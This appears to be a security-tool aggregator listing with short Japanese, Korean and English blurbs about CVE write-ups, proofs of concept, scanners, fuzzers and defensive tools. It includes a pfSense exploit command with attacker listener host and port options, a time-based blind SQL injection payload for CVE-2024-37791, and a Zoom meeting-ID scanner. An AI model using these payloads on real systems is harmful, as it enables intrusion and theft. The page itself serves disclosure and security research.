CVE-2026-41089-Netlogon-RCE

🚨 CVE-2026-41089: 重大な Windows Netlogon RCE Active Directory ドメインコントローラにおける未認証のリモートコード実行 🧠 概念概要 私は、Windows Netlogon サービスの深部に存在する極めて重大な脆弱性である CVE-2026-41089 の技術的詳細分析を公開します。私の分析によると、この欠陥は深刻な スタックベースのバッファオーバーフロー...

CVE-2014-4688

CVE-2014-4688 root@kitploit: python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

tangalanga

Tangalanga Zoom 회의 스캐너. 이 스캐너는 무작위 회의 ID를 확인하고 사용 가능한 정보를 반환합니다. 설치 먼저 해당 날짜에 미리 빌드된 버전이 있는지 확인하세요: https://github.com/elcuervo/tangalanga/releases. 이 버전에는 이미 사용 가능한 토큰이 포함되어 있습니다. 어느 쪽이든 Windows, Linux 및 Mac 버전은 Releases https://github.com/elcuervo/tangalanga/releases 에서 찾을 수 있습니다. 다운로드하고 압축을 풀고...

LCSAJdump

LCSAJdump 자동화된 가젯 발견을 위한 범용 그래프 기반 프레임워크 LCSAJdump 는 ROPReturn-Oriented Programming 및 JOPJump-Oriented Programming 가젯을 발견하기 위해 설계된 정적 분석 프레임워크입니다. 기존 스캐너와 달리 LCSAJdump는 그래프 기반 접근 방식을 사용하여 일반적인 선형 도구로는 보이지 않는 취약점을 찾아냅니다...

CVE-2024-37791

CVE-2024-37791 CVE-2024-37791 プロジェクトアドレス： 準備作業： バックエンドにログイン - cookieを取得 脆弱性URL: http://127.0.0.1:8093/s/article/Content/index?classid=&keyword= 脆弱性パラメータ: keyword ペイロード: %27andselectfromselect+ifasciisubstrdatabase,1,1%3E97,sleep1,0a//union/ /select+1=%27 インジェクションが成功すると遅延が1秒以上になり、そうでなければ遅延はありません。...

CVE-2023-48084-Revised

CVE-2023-48084 — 更新版PoC リポジトリ: MettHK/CVE-2023-48084-Revised Hamibubu/CVE-2023-48084 の更新版で、 マルチスレッド、二分探索による抽出、データベース/テーブル/カラム選択用のCLIフラグを備えています。 元のリポジトリではありません。 これは派生的・改良版のPoCです。元の作業の功績は Hamibubu に帰属します。 免責事項 許可されたセキュリティテストおよび教育目的のみ...

Microfinance-Management-System-V1.0-SQL-Injection-Vulnerability-Unauthenticated

Microfinance Management System V1.0 SQLインジェクション脆弱性（未認証） 1. 説明: Microfinance Management System は、/mims/updatecustomer.php 内のパラメータ customernumber を介してSQLインジェクションを許可します。この問題を悪用すると、攻撃者はアプリケーションを侵害したり、データにアクセスまたは変更したり、基盤となるデータベースの潜在的な脆弱性を悪用する可能性があります。 2. 実証コード: Burpsuiteで影響を受けるページからのリクエストを...

gha-lab-ca4fa82ac5

自動生成された研究アーティファクト — 上流プロジェクトではありません。 このリポジトリは、Université Laval の修士論文のために、公開されている GitHub Actions ワークフローの脆弱性を再現する目的で自動ハーネスによって構築された使い捨てラボです。これは mesa/mesa のコミット 821c14475afebc6a68a45bb4b8e87be4d36a0c41（2026-03-04）の逐語的なスナップショットであり、そのプロジェクト自身のライセンスの下で再配布されています。そのライセンスファイルはこのスナップショットに変更なしで含まれています。...

CVE-2024-36058

CVE-2024-36058 — Koha 図書館ソフトウェア CVE ID: CVE-2024-36058 製品: Koha 図書館ソフトウェア 脆弱性タイプ: 時間ベースのブラインドSQLインジェクション CWE-89 CVSS スコア: 8.1 高 認証済み 影響を受けるバージョン: 22.05.22 未満 クレジット: Karolis Narvilas 説明 Kohaはオープンソースの統合図書館システムです。opac/opac-sendbasket.pl の「バスケットを送信」機能に、時間ベースのブラインドSQLインジェクションの脆弱性が存在します。biblist...

SysmonConfigPusher2

SysmonConfigPusher v2 Windows 엔드포인트에서 Sysmon 구성을 관리하는 웹 기반 도구 — 에이전트리스WMI/SMB 및 에이전트 기반 배포를 모두 지원합니다. 기능 기능| 설명 ---|--- 에이전트리스 배포| WMI 및 SMB를 통해 Sysmon 바이너리와 구성을 푸시합니다 에이전트 지원| 클라우드 VM 및 DMZ 서버용 경량 에이전트 Docker 지원| 에이전트 전용 배포를 위해 Linux/Docker에서 실행 웹 인터페이스| 실시간 배포 진행률을 제공하는 최신 React UI 이벤트 로그 뷰어| 원...

EagleVM

EagleVM 仮想マシンで保護されたx64アセンブリを生成するためのプレイグラウンド。 プロジェクト構成 EagleVM コードを仮想化するメイン保護アプリケーション。 EagleVM.Core EagleVMが使用する静的ライブラリで、すべての仮想化および分析機能を提供します。 EagleVM.Sandbox 将来の完全なバイナリテストのためのプロジェクト。 EagleVM.Stub これは保護が必要なプロジェクトで使用されるDLLです。EagleVMプロテクターアプリケーションは、スタブインポートの使用箇所を検索し、マークされたコードセクションを空洞化して仮想化コードを作成します。...

trufflehog-explorer

TruffleHog Explorer 🕵️‍♂️ TruffleHog Explorer에 오신 것을 환영합니다. TruffleHog를 사용하여 추출된 데이터를 시각화하고 분석할 수 있는 사용자 친화적인 웹 기반 도구입니다. TruffleHog는 가장 강력한 비밀 찾기, 분류, 검증 및 분석 오픈 소스 도구 중 하나입니다. 여기서 비밀secret이란 기계가 다른 기계에 인증하기 위해 사용하는 자격 증명을 의미합니다. 여기에는 API 키, 데이터베이스 비밀번호, 개인 암호화 키 등이 포함됩니다. 개선된 UI/UX, 강력한 필터링 옵션 및...

ghostrecon

クラウドベースで高速、カスタマイズ可能なWebリコンツール。 前提条件 NodeJs Python3 Go pip3 npm スクリーンショット 📸 : スクリーンショット 1 スクリーンショット 2 Linux & Mac でのインストール手順 🐧 👨🏽💻: !ubuntuhttps://assets.kitploit.com/production/public/readmes/4431...

ethibench

制御環境から実世界へ：実世界におけるペンテストエージェントの評価 AI...

SECURITY-218

この軽減策は、Jenkins 2.54 および Jenkins LTS 2.46.2 以降では廃止されています。 新規に 2.54+/LTS 2.46.2+ の Jenkins をインストールした場合、Remoting ベースの CLI は初期状態で無効化されています。 旧バージョンの Jenkins をインストールして 2.54+ または LTS 2.46.2+ にアップグレードした場合は、 管理モニターが表示され、 Configure Global Security に移動して Remoting ベースの CLI を無効化するように求められます。 いずれの場合も、以下の回避策は不要で...

Melkor_ELF_Fuzzer

-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - | -- 説明 -- | - -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- - Melkor - ELFファイルフォーマットファザー Melkorは、J. R. R. トールキンの中つ国伝説集に登場する架空の人物で、最初の暗黒卿であり、サウロンの主でした。彼は『指輪物語』の中で簡単に言及されており、次のように知られています： 「...

CVE-2026-61525 Zammad: Arbitrary File Deletion via Unvalidated Session Identifier in Long Polling Controller

Zammad is a web based open source helpdesk/customer support system. In 7.0.2 and 7.1.0, zammad's session management for websocket and long-polling connections is susceptible to a path traversal attack. Session identifiers supplied by the client are insufficiently validated before being used to...

CVE-2026-61525

Zammad is a web based open source helpdesk/customer support system. In 7.0.2 and 7.1.0, zammad's session management for websocket and long-polling connections is susceptible to a path traversal attack. Session identifiers supplied by the client are insufficiently validated before being used to...

die-in-browser

die-in-browser 静的バイナリ解析を Detect It Easy で — 100% ブラウザ内、アップロードなし。 🔍 これは何ですか？ このプロジェクトは、強力な静的バイナリ解析ツール Detect It Easy DIE を、v86 エミュレータ を使って完全にブラウザ内で動作させます。 ✅ ファイルのアップロード不要 : バイナリはローカルで処理されます。 ✅ 完全解析 : すべての検出、エントリポイント、セクション（PEファイル内）、ハッシュ、エントロピー、文字列。 使用技術: Buildroot 2025.11 – ゲストOS用の最小限のLinuxシステム; v8...

ComfyEngine

ComfyEngine Qtベースのメモリスキャナ/ウォッチリストプレイグラウンド。Cheat Engineにインスパイアされていますが、Linuxネイティブで構築されており、私のワークフローに合わせて調整されています：クリーンなドック、ポインタグラフ、高速パッチ、そしてスキャナ、スクリプト、ノート間を移動してもコンテキストを失う心配がありません。 ComfyEngineは、ceserverの面倒なしに、CEに代わるクリーンでモダンなLinuxファーストの代替手段を提供します。すべてのドックは移動可能で、すべての色はQtテーマに従い、すべてのツールは1つのワークスペースにあります。...